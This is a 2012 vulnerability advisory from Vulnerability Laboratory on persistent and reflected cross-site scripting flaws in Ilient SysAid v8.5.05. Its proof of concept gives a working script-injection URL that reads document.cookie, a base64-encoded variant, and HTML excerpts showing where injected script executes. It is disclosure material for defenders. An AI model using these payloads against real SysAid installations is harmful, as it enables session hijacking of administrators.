Ilient SysAid v8.5.05 - Multiple Web Vulnerabilities
Mar 8, 2012 · By Julien Ahrens
ADVISORY INFORMATION
- Product: SysAid v8.5.05
- Exploitation Technique: Remote
- Severity: Medium
- Status: Published
- VL-ID: 470
CREDITS
Vulnerability Research Laboratory - Julien Ahrens (MrTuxracer)
VERSIONS AFFECTED
Ilient Product: SysAid v8.5.05
INTRODUCTION
SysAid IT Enterprise Edition is an IT management solution that includes a suite of advanced modules to help you manage complex processes often found in larger organizations. Specially built to provide you with advanced customization and scalability, SysAid IT Enterprise delivers the tools you need to meet any IT challenge - now and in the future.
Core Module(s): Help Desk Asset Management Remote Control End-User Web Portal My Desktop Mobile Application Knowledge Base Reports & Analysis IT Benchmark Online Chat Calendar & Scheduling
Advanced Module(s): Server Monitoring Tasks and Projects Manager Dashboard CMDB Password Services
Enterprise Module(s): ITIL Package Increased Customization API and Advanced Integration Multi-Site Support SLA/SLM
VULNERABILITY DETAILS
A Vulnerability Laboratory Researcher discovered multiple persistent and non-persistent Web Vulnerabilities in Ilients SysAid v8.5.05.
Multiple non-persistent and persistent input validation vulnerabilities are detected on Ilient SysAid v8.5.05 and below. The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent) and temporarily on the user side (non-persistent). Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation.
1.1 Vulnerable Module(s): (Persistent)
[+] Name & Information - Profile [+] User Management - Listing & Display [+] StartPage - Index
Picture(s): ../1.png ../2.png ../3.png ../4.png ../5.png
1.2 Vulnerable Module(s): (Non Persistent)
[+] ViewName [+] CustomListView [+] srType
Picture(s): ../6.png ../7.png
The security risk of the vulnerabilities are estimated as medium(-).
PROOF OF CONCEPT
The vulnerabilities can be exploited by remote attacker with required user inter aciton. For demonstration or reproduce …
1.1 - Persistent All fields in the user-profile are vulnerable which are displayed somewhere on the frontend, like: Phone, Email or Name To exploit the issue a user just need to include his own script code on his profile section & start a inter action.
Persistent(Frontpage):
<tablewidth="100%"cellspacing="5"cellpadding="5"border="0"class="Maxed">
<tbody><trvalign="top"><tdwidth="50%"style="padding:10px;"id="Container_1"><tableclass="MaxedContainerContainer_1">
<tbody><tr>
<tdclass="Container_Header">
<table>
<tbody><tr>
<tdclass="Container_Header_First">
<tdclass="Container_Header_Center">
Administratorsonline
</td><tdclass="Container_Header_Last">
</td>
</tr>
</tbody></table></td>
</tr>
<tr>
<tdclass="Container_Body">
<divclass="BorderFix_FFForm_Ctrl_Label">
<br/>
1Users<br/>
JulienAhrens<EXCUTES PERSISTENT SCRIPt CODE HERE!></div></td></tr></tbody></table></td></tr></tbody>
</table></div></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></body></html>
1.2 Non-persistent XSS:
http://localhost:8080/sysaid/CustomizeListView.jsp?listName=Assets&listViewName=<script>alert(document.cookie)</script>
or base64 encoded:
http://localhost:8080/sysaid/CustomizeListView.jsp?listName=Service%20Requests&srType=1&listViewName=@BASE64@PHNjcmlwdD5hb
GVydChlc2NhcGUoZG9jdW1lbnQuY29va2llKSk8L3NjcmlwdD4=
Non-persistent(listViewName):
<tdcolspan="6"class="Frame_Body_Center">
<tablewidth="100%"border="0"class="Maxed">
<tbody><trvalign="top">
<tdstyle="padding:10px;"id="Conainer_1">
<tablewidth=""cellspacing="0"cellpadding="0"border="0">
<tbody><tr>
<td>
<tablewidth="100%"cellspacing="0"cellpadding="0"border="0"class="MaxedContainerContainer_1">
<tbody><tr>
<tdclass="Container_Header">
<table>
<tbody><tr>
<tdclass="Container_Header_First"/>
<tdclass="Container_Header_Center">
<palign="center"style="font-size:16px;">Customizelist-Assets-<EXCUTES PERSISTENT SCRIPt CODE HERE>
</p></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr>
</tbody></table></td></tr></tbody></table></form></body></html>
SOLUTION
N/A
REPORT TIMELINE
- 2012-03-08: Public or Non-Public Disclosure